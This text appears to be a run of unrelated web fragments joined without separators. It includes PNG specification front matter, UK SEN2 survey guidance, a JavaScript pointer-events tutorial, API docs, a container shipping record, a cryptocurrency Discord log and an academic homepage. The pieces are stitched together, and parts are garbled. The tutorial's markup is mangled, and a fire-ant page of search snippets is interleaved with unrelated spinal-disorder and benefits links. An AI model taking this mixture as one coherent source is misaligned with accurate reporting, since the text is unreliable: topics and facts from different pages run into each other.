The latest released versions of this document and related information can always be found at the PNG FTP archive site, ftp://ftp.uu.net/graphics/png/. The PNG specification is available in several formats, including HTML, plain text, and PostScript.
A reference implementation in portable C is available from the PNG FTP archive site, ftp://ftp.uu.net/graphics/png/src/. The reference implementation (libpng) is freely usable in all applications, including commercial applications.
Test images are available from ftp://ftp.uu.net/graphics/png/images/.
The maintainers of the PNG specification can be contacted by e-mail at<EMAIL_ADDRESS>or at<EMAIL_ADDRESS>There is a World Wide Web site for PNG at http://www.cdrom.com/pub/png/. This is a central location for current information about PNG and PNG-related tools.
(This appendix is not part of the formal PNG specification.)
The PNG format has been frozen since the Ninth Draft of 7 March 1995, and all future changes are intended to be backward compatible. The revisions since the Ninth Draft are simply clarifications, improvements in presentation, additions of supporting material, and specifications for additional chunks.
On 1 October 1996, the PNG 1.0 specification was approved as a W3C (World Wide Web Consortium) Recommendation.
In January 1997 it was published as RFC-2083 (informational) with technical content identical to that of the W3C Recommendation.
In October 1998, the PNG 1.1 specification was approved by the PNG Development Group, and it was released in December 1998.
In February 1999, changes were approved by the PNG Development Group, and the PNG 1.2 specification containing the changes was released in July 1999.
Note: These changes have been approved by the PNG Development Group, but not by any standards body.
(W3C Recommendation 01-October-1996, RFC 2083 January 1997)
Note: These changes have been approved by the PNG Development Group, but not by any standards body.
-231
in four-byte signed integers
The key portions of this document are being adopted with revisions into:
International Electrotechnical Commission, "Colour Measurement and
Management in Multimedia Systems and Equipment - Part 2-1: Default RGB
Colour Space - sRGB", IEC 61966-2-1.
http://w3.hike.te.chiba-u.ac.jp/IEC/100/PT61966/parts/part2/
Authors' names are presented in alphabetical order. Spaces have been added to e-mail addresses (around the @ symbols) to minimize the amount of unwanted e-mail via automated harvesters.
The authors wish to acknowledge the contributions of the Portable Network Graphics mailing list, the readers of comp.graphics, and the members of the World Wide Web Consortium (W3C).
The Adam7 interlacing scheme is not patented and it is not the intention of the originator of that scheme to patent it. The scheme may be freely used by all PNG implementations. The name "Adam7" may be freely used to describe interlace method 1 of the PNG specification.
GIF is a service mark of CompuServe Incorporated. IBM PC is a trademark of International Business Machines Corporation. Macintosh is a trademark of Apple Computer, Inc. Microsoft, Windows, and MS-DOS are trademarks of Microsoft Corporation. PhotoCD is a trademark of Eastman Kodak Company. PostScript and TIFF are trademarks of Adobe Systems Incorporated. SGI is a trademark of Silicon Graphics, Inc. X Window System is a trademark of the Massachusetts Institute of Technology.
This document was built from the file png-master-19990714 on 14 July 1999.
Copyright © 1998, 1999 by: Glenn Randers-Pehrson
This specification is a modification of the PNG 1.0 specification. It is being provided by the copyright holder under the provisions of the 1996 MIT copyright and license:
Copyright © 1996 by: Massachusetts Institute of Technology (MIT)
This W3C specification is being provided by the copyright holders under the following license. By obtaining, using and/or copying this specification, you agree that you have read, understood, and will comply with the following terms and conditions:
Permission to use, copy, and distribute this specification for any purpose and without fee or royalty is hereby granted, provided that the full text of this NOTICE appears on ALL copies of the specification or portions thereof, including modifications, that you make.
THIS SPECIFICATION IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SPECIFICATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS. COPYRIGHT HOLDERS WILL BEAR NO LIABILITY FOR ANY USE OF THIS SPECIFICATION.
The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the specification without specific, written prior permission. Title to copyright in this specification and any associated documentation will at all times remain with copyright holders.


Username
Password
Save Credentials
Authenticate
Save your username and password. You will be authenticated automatically.
If it does not work, try the
Authenticate
button manually after opening the page.


My passion is implementing innovative design using the latest techniques and tools to create an amazing user experience.
Superpowers include, vision in the back of my head, the ability to predict impending disasters when small children are involved, enhanced stamina due to conditioning and lack of sleep, ability to find anything in the house (regardless of who put it there), the ability to always get things done on time, and an all-around awesomeness that is otherwise known as being a mom!


Beta This is a test version of the layout of this page. Take the survey to help us improve it
Guidance
How local authorities should report data for the annual special educational needs survey, commonly known as SEN2.
The SEN2 survey is a statutory data collection that takes place every January. You must complete a statutory collection by law unless there’s a good reason not to.
The survey collects information on:
This survey should not be confused with the annual school census , which also collects data on the number of pupils with SEN statements and EHC plans.
The 2017 survey deadlines are:
The 2018 survey deadlines are:
You should submit your data using COLLECT , our centralised data collection and management system.
Note that we’ll only be able to change the status of your data submission to ‘authorised’ once you’ve cleared all errors in the data in COLLECT .
The following documents will help you complete the 2017 survey:
The following documents will help you complete the 2018 survey:
If you’re looking for guides from past SEN survey data collections, visit the ‘Special educational needs survey: closed collections’ page.
Please use the service request form if you have any questions about your data. We aim to answer your question within 5 working days.
Reset your Secure Access login details using the forgotten password or username form .
Please contact your school or local authority approver, if:
If you don’t know who your approver is, please use the Secure Access service request form .
Please use the feedback form if you have any comments about our data collection service, including COLLECT and the helpdesk service.
Published: 25 March 2014
Updated: 22 December 2016
From: Department for Education


This keyboard was developed by Rehmat Aziz Chitrali linguist and Researcher at Khowar Academy Chitral Khyber Pakhtunkhwa Pakistan for keyboarding the Arabic language in the Arabic Script. The Rachitrali-Arabic keyboard is designed to work with the Scheherazade font. However, you can use this keyboard with any extended Arabic script Unicode font.
If you have problems using the RAChitrali-Arabic Keyman keyboard, please contact:
Rehmat Aziz Chitrali
E-mail: rachitrali@yahoo.com


(check**However, the grid-less approach in particle method makes it diﬃcult to handle general Landau collision operators that involve the velocity gradients of the distribution function and evaluating these gradients usually needs velocity grids. For some simple collision operators, a corresponding Langevin equation can be constructed, which makes the collisional eﬀect be able to be modeled by stochastic change in marker trajectories. However, this correspondence can not be found for all collisional operators.)


open fun pidWrite(output: Double): Unit
Overrides PIDOutput.pidWrite
Passes the output directly to setSetpoint().
PIDControllers can be nested by passing a SimplePIDController as another SimplePIDController's output. In that case, the output of the parent controller becomes the input (i.e., the reference) of the child.
It is the caller's responsibility to put the data into a valid form for setSetpoint().


Fire Ant Bites - Fire Ants
fire ant pustules develop after fire ant bites Fire ant stings usually develop into a reddish hive that subsides within 1 hour. Within a few hours, a small blister will .
http://www.fireant.tv/fire-ant-bites/
Treatment for Herniated or Bulging Discs
Fire Ant Bites
Jan 23, 2012 . Each year, fire ants sting more than one half of the population in endemic areas of the Southeast. They cause a variety of medical problems, .
http://emedicine.medscape.com/article/1089027-overview
Fire Ant Bite
An introduction to fire ant bites. . A few hours after the fire ant bite attack, the bitten area can develop white pustules. These pustules can stay for quite a long .
http://www.aquaticcommunity.com/ants/fire/bite.php
pustule from fire ant bite Herniated or Bulging Discs
Fire ants
Jan 23, 2012 . Although fire ant stings are rarely fatal, people who live in areas . The next day, there is usually a sterile pustule at the sting site, which is best .
http://www.uptodate.com/contents/fire-ants-beyond-the-basics
Ant Stings and Remedies - BugGuide.Net
Aug 15, 2005 . Meat tenderizer in the acute treatment of imported fire ant stings. . and eventually forms a pustule in about 8 to 24 hours which is the result of .
http://bugguide.net/node/view/28363
Fire ant - Wikipedia, the free encyclopedia
The pustules are obtrusive and uncomfortable while active and, if they become infected, can cause scarring. First aid for fire ant bites includes external .
http://en.wikipedia.org/wiki/Fire_ant
Official Impairment Listing for Spinal Disorders
How to Treat Fire Ant Bites -- Treatment Tips and Home Remedies
Sep 17, 2011 . We'll also discuss fire ant pustules and we'll explore signs of an allergic reaction to fire ant bites and stings, along with tips to avoid getting .
http://www.squidoo.com/how-to-treat-fire-ant-bites
- firefighting search rescue exercise (narrowing of the spine)
TLC Home "Treating Fire Ant Bites"
Breaking the pustules makes fire ant bites more vulnerable to infection. Pustules form as a result of the introduction of ant venom. If the ants are removed after .
http://tlc.howstuffworks.com/home/treating-fire-ant-bites.htmFire Ant: Health Concerns - Sierra Club - Angeles Chapter
Fire ant sting reactions range from localized itching and swelling with pustule formation to severe, life-threatening anaphylaxis. Almost all people stung by fire .
http://www.angeles.sierraclub.org/ocss/pdf/fire_ants.pdf
Natural Ginesis | Fire Ants
Fire ants inflict a fiery sting, which causes a small blister or pustule to form at the site of each sting after several hours. The blisters become itchy while healing .
http://www.naturalginesis.com/fire_ants
Fire Ant Stings - eXtension
Nov 28, 2012 . Pustules caused from fire ant stings on human ankle. Photo by Bart Drees. Click here to link to an enlarged image. Single worker ants can bite .
http://www.extension.org/pages/11124/fire-ant-stings
Medical-Vocational Allowance for Herniated Disc
How to Treat a Fire Ant Sting or Bite's Swelling and Prevent Infection ...
How do I stop the swelling and itching of a fire ant bite? Is a fire ant bite supposed to be swollen? Should I pop the pustule the forms after a fire ant bite? Is my fire .
http://www.ehow.com/how_5197844_treat-bites-swelling-prevent-infection.html
Fire Ants - Texas Allergy, Asthma and Immunology Society TAAIS
Texas Allergy, Asthma and Immunology Society (TAAIS) article on Fire Ants. Fire ants can cause severe, life-threatening reactions in people allergic to them.
http://taais.org/patient-education/fire-ants/
Appealing a Denial of Benefits
Fire Ants Ruining the Party? - Staff Blogs - Houston Chronicle
Jul 4, 2012 .  As long as the .
http://www.scdhec.gov/health/disease/fire-ants.htm


Pointer events are a modern way to handle input from a variety of pointing devices, such as a mouse, a pen/stylus, a touchscreen, and so on.
Let’s make a small overview, so that you understand the general picture and the place of Pointer Events among other event types.
Long ago, in the past, there were only mouse events.
Then touch devices became widespread, phones and tablets in particular. For the existing scripts to work, they generated (and still generate) mouse events. For instance, tapping a touchscreen generates mousedown
. So touch devices worked well with web pages.
But touch devices have more capabilities than a mouse. For example, it’s possible to touch multiple points at once (“multi-touch”). Although, mouse events don’t have necessary properties to handle such multi-touches.
So touch events were introduced, such as touchstart
, touchend
, touchmove
, that have touch-specific properties (we don’t cover them in detail here, because pointer events are even better).
Still, it wasn’t enough, as there are many other devices, such as pens, that have their own features. Also, writing code that listens for both touch and mouse events was cumbersome.
To solve these issues, the new standard Pointer Events was introduced. It provides a single set of events for all kinds of pointing devices.
As of now, Pointer Events Level 2 specification is supported in all major browsers, while the newer Pointer Events Level 3 is in the works and is mostly compartible with Pointer Events level 2.
Unless you develop for old browsers, such as Internet Explorer 10, or for Safari 12 or below, there’s no point in using mouse or touch events any more – we can switch to pointer events.
Then your code will work well with both touch and mouse devices.
That said, there are some important peculiarities that one should know in order to use Pointer Events correctly and avoid surprises. We’ll make note of them in this article.
Pointer events are named similarly to mouse events:
| Pointer event | Similar mouse event |
|---|---|
pointerdown |
mousedown |
pointerup |
mouseup |
pointermove |
mousemove |
pointerover |
mouseover |
pointerout |
mouseout |
pointerenter |
mouseenter |
pointerleave |
mouseleave |
pointercancel |
- |
gotpointercapture |
- |
lostpointercapture |
- |
As we can see, for every mouse<event>
, there’s a pointer<event>
that plays a similar role. Also there are 3 additional pointer events that don’t have a corresponding mouse...
counterpart, we’ll explain them soon.
``smart header="Replacing
mousewith
pointerin our code" We can replace
mouseevents with
pointer
The support for touch devices will also “magically” improve. Although, we may need to add touch-action: none
in some places in CSS. We’ll cover it below in the section about pointercancel
.
## Pointer event properties
Pointer events have the same properties as mouse events, such as `clientX/Y`, `target`, etc., plus some others:
- `pointerId` - the unique identifier of the pointer causing the event.
Browser-generated. Allows us to handle multiple pointers, such as a touchscreen with stylus and multi-touch (examples will follow).
- `pointerType` - the pointing device type. Must be a string, one of: "mouse", "pen" or "touch".
We can use this property to react differently on various pointer types.
- `isPrimary` - is `true` for the primary pointer (the first finger in multi-touch).
Some pointer devices measure contact area and pressure, e.g. for a finger on the touchscreen, there are additional properties for that:
- `width` - the width of the area where the pointer (e.g. a finger) touches the device. Where unsupported, e.g. for a mouse, it's always `1`.
- `height` - the height of the area where the pointer touches the device. Where unsupported, it's always `1`.
- `pressure` - the pressure of the pointer tip, in range from 0 to 1. For devices that don't support pressure must be either `0.5` (pressed) or `0`.
- `tangentialPressure` - the normalized tangential pressure.
- `tiltX`, `tiltY`, `twist` - pen-specific properties that describe how the pen is positioned relative the surface.
These properties aren't supported by most devices, so they are rarely used. You can find the details about them in the [specification](https://w3c.github.io/pointerevents/#pointerevent-interface) if needed.
## Multi-touch
One of the things that mouse events totally don't support is multi-touch: a user can touch in several places at once on their phone or tablet, or perform special gestures.
Pointer Events allow handling multi-touch with the help of the `pointerId` and `isPrimary` properties.
Here's what happens when a user touches a touchscreen in one place, then puts another finger somewhere else on it:
1. At the first finger touch:
- `pointerdown` with `isPrimary=true` and some `pointerId`.
2. For the second finger and more fingers (assuming the first one is still touching):
- `pointerdown` with `isPrimary=false` and a different `pointerId` for every finger.
Please note: the `pointerId` is assigned not to the whole device, but for each touching finger. If we use 5 fingers to simultaneously touch the screen, we have 5 `pointerdown` events, each with their respective coordinates and a different `pointerId`.
The events associated with the first finger always have `isPrimary=true`.
We can track multiple touching fingers using their `pointerId`. When the user moves and then removes a finger, we get `pointermove` and `pointerup` events with the same `pointerId` as we had in `pointerdown`.
```online
Here's the demo that logs `pointerdown` and `pointerup` events:
[iframe src="multitouch" edit height=200]
Please note: you must be using a touchscreen device, such as a phone or a tablet, to actually see the difference in `pointerId/isPrimary`. For single-touch devices, such as a mouse, there'll be always same `pointerId` with `isPrimary=true`, for all pointer events.
The pointercancel
event fires when there’s an ongoing pointer interaction, and then something happens that causes it to be aborted, so that no more pointer events are generated.
Such causes are:
We’ll demonstrate pointercancel
on a practical example to see how it affects us.
Let’s say we’re impelementing drag’n’drop for a ball, just as in the beginning of the article info:mouse-drag-and-drop.
Here is the flow of user actions and the corresponding events:
pointerdown
event firespointermove
fires, maybe several timespointercancel
event.
pointermove
events for us.So the issue is that the browser “hijacks” the interaction: pointercancel
fires in the beginning of the “drag-and-drop” process, and no more pointermove
events are generated.
Here's the drag'n'drop demo with loggin of pointer events (only `up/down`, `move` and `cancel`) in the `textarea`:
[iframe src="ball" height=240 edit]
We’d like to implement the drag’n’drop on our own, so let’s tell the browser not to take it over.
Prevent the default browser action to avoid pointercancel
.
We need to do two things:
ball.ondragstart = () => false
, just as described in the article info:mouse-drag-and-drop.#ball { touch-action: none }
in CSS.After we do that, the events will work as intended, the browser won’t hijack the process and doesn’t emit pointercancel
.
This demo adds these lines:
[iframe src="ball-2" height=240 edit]
As you can see, there's no `pointercancel` any more.
Now we can add the code to actually move the ball, and our drag’n’drop will work for mouse devices and touch devices.
Pointer capturing is a special feature of pointer events.
The idea is very simple, but may seem quite odd at first, as nothing like that exists for any other event type.
The main method is:
elem.setPointerCapture(pointerId)
- binds events with the given pointerId
to elem
. After the call all pointer events with the same pointerId
will have elem
as the target (as if happened on elem
), no matter where in document they really happened.In other words, elem.setPointerCapture(pointerId)
retargets all subsequent events with the given pointerId
to elem
.
The binding is removed:
pointerup
or pointercancel
events occur,elem
is removed from the document,elem.releasePointerCapture(pointerId)
is called.Pointer capturing can be used to simplify drag’n’drop kind of interactions.
As an example, let’s recall how one can implement a custom slider, described in the info:mouse-drag-and-drop.
We make a slider element with the strip and the “runner” (thumb
) inside it.
Then it works like this:
thumb
- pointerdown
triggers.pointermove
triggers, and we move the thumb
along.
thumb
: go above or below it. The thumb
should move strictly horizontally, remaining aligned with the pointer.So, to track all pointer movements, including when it goes above/below the thumb
, we had to assign pointermove
event handler on the whole document
.
That solution looks a bit “dirty”. One of the problems is that pointer movements around the document may cause side effects, trigger other event handlers, totally not related to the slider.
Pointer capturing provides a means to bind pointermove
to thumb
and avoid any such problems:
thumb.setPointerCapture(event.pointerId)
in pointerdown
handler,pointerup/cancel
will be retargeted to thumb
.pointerup
happens (dragging complete), the binding is removed automatically, we don’t need to care about it.So, even if the user moves the pointer around the whole document, events handlers will be called on thumb
. Besides, coordinate properties of the event objects, such as clientX/clientY
will still be correct - the capturing only affects target/currentTarget
.
Here’s the essential code:
thumb.onpointerdown = function (event) {
// retarget all pointer events (until pointerup) to thumb
thumb.setPointerCapture(event.pointerId);
};
thumb.onpointermove = function (event) {
// moving the slider: listen on the thumb, as all pointer events are retargeted to it
let newLeft = event.clientX - slider.getBoundingClientRect().left;
thumb.style.left = newLeft + "px";
};
// note: no need to call thumb.releasePointerCapture,
// it happens on pointerup automatically
The full demo:
[iframe src="slider" height=100 edit]
At the end, pointer capturing gives us two benefits:
document
any more. The binding is released automatically.pointermove
handlers in the document, they won’t be accidentally triggered by the pointer while the user is dragging the slider.There are two associated pointer events:
gotpointercapture
fires when an element uses setPointerCapture
to enable capturing.lostpointercapture
fires when the capture is released: either explicitly with releasePointerCapture
call, or automatically on pointerup
/pointercancel
.Pointer events allow handling mouse, touch and pen events simultaneously, with a single piece of code.
Pointer events extend mouse events. We can replace mouse
with pointer
in event names and expect our code to continue working for mouse, with better support for other device types.
For drag’n’drops and complex touch interactions that the browser may decide to hijack and handle on its own - remember to cancel the default action on events and set touch-events: none
in CSS for elements that we engage.
Additional abilities of pointer events are:
pointerId
and isPrimary
.pressure
, width/height
, and others.pointerup
/pointercancel
.As of now, pointer events are supported in all major browsers, so we can safely switch to them, especially if IE10- and Safari 12- are not needed. And even with those browsers, there are polyfills that enable the support of pointer events.


Container No.
| Container No (Type) | CMAU7714215(40RF) | Invoice No | GZD217072 |
|---|---|---|---|
| HBL No | PLIHQ14345545 | PO No |<PHONE_NUMBER> |
| MBL No | SEL1140794 | Shipment No |<PHONE_NUMBER> |
| Location | Ningbo (CNNGB, ETC) |
|---|---|
| Reason | Regulation |
| Reason detail | Since some crewmembers in CMA CGM TROCADERO had coronavirus symtoms, there has been covid test for all crewmembers in this vessel at both Ningbo & Shanghai. |
| Action | Asked CMA to keep us updated about the event |
| Model Code | Model Name | Container No | Invoice No | QTY | CBM |
|---|---|---|---|---|---|
| 2836137t | LD750EQF-FNM2 | CMAU7714215 | GZD217072 | 14 | 30.25 |
| 2836137t | LD750EQF-FNM2 | CMAU7714215 | COD2170125 | 254 | 46.22 |
| 2836137t | LD750EQF-FNM2 | CMAU7714215 | EDD2170012,EDD2170013,EDD2170014,EDD2170030,EDD2170077 | 2219 | 19.05 |
| 2836137t | LD750EQF-FNM2 | CMAU7714215 | VND2161417,VND2161418,VND2161419 | 92 | 32.33 |


FlatPages
A Simple CMS
{{ flatpage.title }}
{{ flatpage.content }}
Search Flatpages
Blog
Contact Us
Simple CMS
This is a simple CMS system developed in Python, Django, HTML, and CSS. Thank you for using it!
Dan Hoerst


About Us
The girls behind Gentri
Who are we?
We are coding rockstars! Seven weeks ago, we walked into the Blackrock building to begin our first day of Girls Who Code, a summer computer science intensive program. Throughout our time here, we have explored several languages including Python, Scratch, C++, Arduino, HTML, CSS, and JavaScript. This is our final project.


mlprodict#
mlprodict was initially started to help implementing converters to ONNX. The main features is a python runtime for ONNX (class OnnxInference), visualization tools (see Visualization), and a numpy API for ONNX). The package also provides tools to compare predictions, to benchmark models converted with sklearn-onnx.
import numpy
from sklearn.linear_model import LinearRegression
from sklearn.datasets import load_iris
from mlprodict.onnxrt import OnnxInference
from mlprodict.onnxrt.validate.validate_difference import measure_relative_difference
from mlprodict import __max_supported_opset__, get_ir_version
iris = load_iris()
X = iris.data[:, :2]
y = iris.target
lr = LinearRegression()
lr.fit(X, y)
# Predictions with scikit-learn.
expected = lr.predict(X[:5])
print(expected)
# Conversion into ONNX.
from mlprodict.onnx_conv import to_onnx
model_onnx = to_onnx(lr, X.astype(numpy.float32),
black_op={'LinearRegressor'},
target_opset=__max_supported_opset__)
print("ONNX:", str(model_onnx)[:200] + "\n...")
# Predictions with onnxruntime
model_onnx.ir_version = get_ir_version(__max_supported_opset__)
oinf = OnnxInference(model_onnx, runtime='onnxruntime1')
ypred = oinf.run({'X': X[:5].astype(numpy.float32)})
print("ONNX output:", ypred)
# Measuring the maximum difference.
print("max abs diff:", measure_relative_difference(expected, ypred['variable']))
# And the python runtime
oinf = OnnxInference(model_onnx, runtime='python')
ypred = oinf.run({'X': X[:5].astype(numpy.float32)},
verbose=1, fLOG=print)
print("ONNX output:", ypred)
Installation
Installation from pip should work unless you need the latest development features.
pip install mlprodict
The package includes a runtime for ONNX. That’s why there is a limited number of dependencies. However, some features relies on sklearn-onnx, onnxruntime, scikit-learn. They can be installed with the following instructions:
pip install mlprodict[all]
The code is available at GitHub/mlprodict and has online documentation.


Blog Archive 2014 How I Have Learnt EmberJS Dec 28 2014 Concurrencia != Paralelismo Nov 05 2014 Using Ruby Geocoder Gem Locally Oct 29 2014 2013 JRuby Bug Fixed With Regexp Class Aug 15 2013 What’s #painpoint in JRuby? Jul 29 2013 How to Build Ruydoop Yourself Jul 22 2013 Getting Started - Again Jul 21 2013


Pirate (ARRR) is a cryptocurrency that solves the issue of financial privacy on the blockchain through forced anonymous transactions. Protect your wallet and transactions with Pirate’s completely anonymous network. With forced private transactions, your privacy cannot be compromised by another users’ activity on the network. If you wish to learn more, please join the official Pirate Discord at https://pirate.black/discord/ or message FishyGuts#5085, who will be happy to help out.
Between 04-Jan-20 12:00 AM and 05-Jan-20 12:00 AM
GatewayBOT04-Jan-20 12:01 AM
[dscrd-prt] <theekgb> next we need somalian pirates
[dscrd-prt] <+dreamTim> Somalian Privacy advocates hopefully, not the other kind
GatewayBOT04-Jan-20 12:41 AM
[dscrd-prt] <Hember> Here is the ARRRchive, guys! https://lbry.tv/@ARRRchive:d
If you want to help ARRRchive to get to trending on this platform, you can support the channel or any of the posts by using the support feature (you will still own your coins).
You'll need to get LBC (for example from CoinEx) and send it to your wallet on the platform. Go to settings and "Enable claim support". Then go to any post or to the channel and click support and input the amount you want to use.
At this early stage it doesn't need much to get to trending. Support given now will help tremendously in the future as the platform is getting bigger as we speak (as you can see from the LBC price curve during the last month).
On 29 August 2018, several developers from the Komodo community piloted an independent asset chain with the technology offered by Komodo Platform. Pirate Chain harnesses Delayed Proof of Work (dPoW) f...
[dscrd-prt] <Hember> Any questions about the ARRRchive or the platform can be launched at my direction. Also, there may be competitions in the future to grow the ARRRchive. Anything posted there is free for anyone to use. If you want to use any of the pictures with the original resolution and size, you should download the desktop app. Any and all files from the platform are then yours.
[dscrd-prt] <Hember> Oh and about the name: It is ARRRchive, and the platform attaches a random symbol in the end. I got lucky and it was a d. :D
The channel name for now will be Pirate Chain as it is better for the big public. After gaining more followers the channel will change it's name to ARRRchive as requested.
[dscrd-prt] <ph03nix> very cool @Hember
[dscrd-prt] <Hember> Thank you. Also, I suggest all to use the dark mode on that page. It is much more beautiful.
[dscrd-prt] <ph03nix> !arrrtip @Hember 77.7001
[dscrd-prt] <Hember> Thank you.
And as you can see, I try to collect pictures and gifs (and why not videos) so that they are easy to browse. But I also include text and links in the description of all posts to get more exposure to the project.
I ask for as beautiful content as possible so that the thumbnails can be the same picture as the content itself. This will help anyone that is browsing through the content to find a pic for their article of tweet, but it also helps with the following on the platform, as beauty attracts.
[dscrd-prt] <Hember> Still an ugly meme with a great joke will land straight into the ARRRchive.
There is now an #ARRRchive for #PirateChain pic and meme material on #LBRY. Anyone can use the content free in their social media, articles, video thumbnails etc. You may also contribute with your material through Discord or Telegram. Share the #privacy! https://t.co/iQDOV...
[dscrd-prt] <Hember> The ARRRchive is at 21st place on the trending site https://lbry.tv/$/discover ... Not too hard to get to trending just yet.
Meet LBRY, an open, free, and community-controlled content wonderland.
GatewayBOT04-Jan-20 03:36 AM
[dscrd-prt] <+dreamTim> i am having a small issue with their kyc @Hember, they are a little too enthusiastic about it
[dscrd-prt] <+dreamTim> and I need a better set up
[dscrd-prt] <Hember> I think one does not need to do a kyc to give support.
[dscrd-prt] <+dreamTim> love the channel by the way
[dscrd-prt] <Hember> thanks
[dscrd-prt] <Hember> kyc is for small occasional LBC rewards (at this state of the project). they need to prove your humanness so that no bots can come to the platform to collect free lbc through thousands of fake accounts
[dscrd-prt] <Hember> For example I gained 3 LBC today for watching content. That is like under 10 cents. But it is something to use as a support or a tip.
[dscrd-prt] <+dreamTim> got it, I am using it without, but yes to get rewards they are asking for some proof of identity. it might be looser than it appears but they need to improve that bit imo
[dscrd-prt] <+dreamTim> yes, because there are no likes, its tips instead, which is cool
[dscrd-prt] <Hember> yeah. they say that they use the kyc data just to prove humanness, as they don't use ads and the way they "make money" is by offering a product so good that LBC price goes up. Dem hodlers.
[dscrd-prt] <Hember> I think you can still give a follow without kyc?.. so, you can do something in one of the patterns they will use for trending lists.
[dscrd-prt] <Hember> I love how this platform allows you to post any kind of documents, too. I mostly follow channels that make art photos. But surely the biggest channels there will probably be video channels.
[dscrd-prt] <+dreamTim> i like the platform, the whole idea and the channel, everything else is really cool about it
GatewayBOT04-Jan-20 03:56 AM
[dscrd-prt] <Hember> Yeah, I like how it has evolved. I first found the project and downloaded the desktop app in the late 2017. I like where the platform has been headed and it really is starting to offer a good product.. also many quite big youtubers are migrating there. I wanted to make the arrrchive on this platform to use the rapid growth of it to gain exposure for arrr.
GatewayBOT04-Jan-20 04:13 AM
[dscrd-prt] <Hember> After Youtube banned many crypto channels on christmas the platform has exploded, and it seems LBC is starting it's next bullrun. Wish I had more money, I could buy now and use as a support.
GatewayBOT04-Jan-20 04:23 AM
[dscrd-prt] <Cam [Trivia Challenge!]> is the tip-bot still down? I just keep getting messages with "status: failed"
GatewayBOT04-Jan-20 05:19 AM
[dscrd-prt] <Draeth> @Cam [Trivia Challenge!] Sclear hasn't gotten back to me
GatewayBOT04-Jan-20 08:24 AM
[dscrd-prt] <Cam [Trivia Challenge!]> Ok, cool. thanks for the response. I won't sweat it. If you remember, try to tag me when it's working. Ultimately, I'm a long term arrr hodler
[dscrd-prt] <Cam [Trivia Challenge!]> but I'm also a strong "not your key, not your crypto" guy, as I know you know.,....
GatewayBOT04-Jan-20 09:43 AM
[dscrd-prt] <JiuCrypto> Guys, tbh, I had my doubts if pirate or any other coin will be able to implement native mobile z-tx before ZEC
[dscrd-prt] <JiuCrypto> Yesterday I learned that ZER released them last month
[dscrd-prt] <JiuCrypto> Closed source though
[dscrd-prt] <JiuCrypto> But I thought for devs it might still be interesting to have a look
[dscrd-prt] <JiuCrypto> If others can do it I am more than confident that ARRR can do it as well!
GatewayBOT04-Jan-20 10:03 AM
[dscrd-prt] <Ahmed of $ETHO> Good morning everybody and happy day active friends
GatewayBOT04-Jan-20 10:32 AM
[dscrd-prt] <JiuCrypto> Started a discussion in the price channel about ARRR vs KMD demand. Would be thankful for your thoughts!
GatewayBOT04-Jan-20 12:32 PM
[dscrd-prt] <Spaguette> is @Silly legit or some fake scam bot lmao
The purpose of this tutorial is to walk through the steps necessary to register a user identity. Overview Identities serve as the basis for interactions with Dash Platform. They consist primarily of a public key used to register a unique entity on the network. There are two i...
GatewayBOT04-Jan-20 08:16 PM
[dscrd-prt] <Cam [Trivia Challenge!]> two years ago I thought Dash had some good ideas.. now... not so much...
GatewayBOT04-Jan-20 08:46 PM
[dscrd-prt] <Tek> lmao yeah. pirates are much better right?
[dscrd-prt] <Tek> @+dreamTim NNNNNNICE
[dscrd-prt] <Tek> im strapped
GatewayBOT04-Jan-20 11:54 PM
[dscrd-prt] <Liteliger> never conduct any business in telegram tbh
[dscrd-prt] <Liteliger> but kudos to dev for covering the fees


|
|
News
- 2023-02: One first author papers to appear in CVPR 2023.
- 2022-09: I am now a Ph.D. student at HKUSTGZ.
Publications
|
Haoyu Chen*, Jinjin Gu*, Yihao Liu, Salma Abdel Magid, Chao Dong, Qiong Wang, Hanspeter Pfister, Lei Zhu IEEE Conference on Computer Vision and Pattern Recognition (CVPR), 2023 |
|
|
Haoyu Chen, Jinjin Gu, Zhi Zhang arXiv, 2021 [arxiv] [Code] |
|
|
Jinjin Gu, Haoming Cai, Haoyu Chen, Xiaoxin Ye, Jimmy S.Ren, Chao Dong European Conference on Computer Vision (ECCV), 2020 [Website] [arxiv] [Code] [Benchmark] [CVPR 2022 NTIRE Challenge] [Youtube] [Bilibili] |
|
|
Jinjin Gu, Haoyu Chen, Guolong Liu, Gaoqi Liang, Xinlei Wang, Junhua Zhao arXiv, 2018 [arxiv] |
1 CVPR 1 ECCV 2 arXiv
Education
The Chinese University of Hong Kong, Shenzhen
B.Eng., Major in Computer Science and Engineering, Sep 2017 - Jul 2021.
Experience
Xiaobing.AI.
Research Intern. Mentor: Dr. Baoyuan, Wang, ( 2021.6 ~ 2022.2 )
AWS Shanghai AI Lab.
Software Develop Engineer Intern. Mentor: Zhi Zhang, ( 2020.5 ~ 2020.11 )
The Chinese University of Hong Kong. GAP Lab.
Research Assistant. Advisor: Dr. Xiaoguang, Han, ( 2019.6 ~ 2021 )
Institute of Automation Chinese Academy of Sciences.
Research Assistant. Advisor: Dr. Bo Xu, ( 2018.8 ~ 2018.9 )
Academic Service & Awards
Competition Awards:
IEEE ICDM 2018 global AI challenge on meteorology, 1st place.
ECCV 2020 Workshop, AIM 2020 Challenge on Video Extreme Super-Resolution, 4th place.
Program Committee / Reviewer:
Winter Conference on Applications of Computer Vision (WACV), 2023
ACM SIGKDD Conference on Knowledge Discovery and Data Mining (KDD), 2023
ACM SIGGRAPH VRCAI, 2022


circos.yaxis.Rd
Draw y-axis
circos.yaxis( side = c("left", "right"), at = NULL, labels = TRUE, tick = TRUE, sector.index = get.current.sector.index(), track.index = get.current.track.index(), labels.font = par("font"), labels.cex = par("cex"), labels.niceFacing = TRUE, tick.length = convert_x(1, "mm", sector.index, track.index), lwd = par("lwd"), col = par("col"), labels.col = par("col"))
| side | add the y-axis on the left or right of the cell |
|---|---|
| at | If it is numeric vector, it identifies the positions of the ticks. It can exceed |
| labels | labels of the ticks. The exceeding part would be trimmed automatically. The value can also be logical (either an atomic value or a vector) which represents which labels to show. |
| tick | Whether to draw ticks. |
| sector.index | Index for the sector |
| track.index | Index for the track |
| labels.font | font style for the axis labels |
| labels.cex | font size for the axis labels |
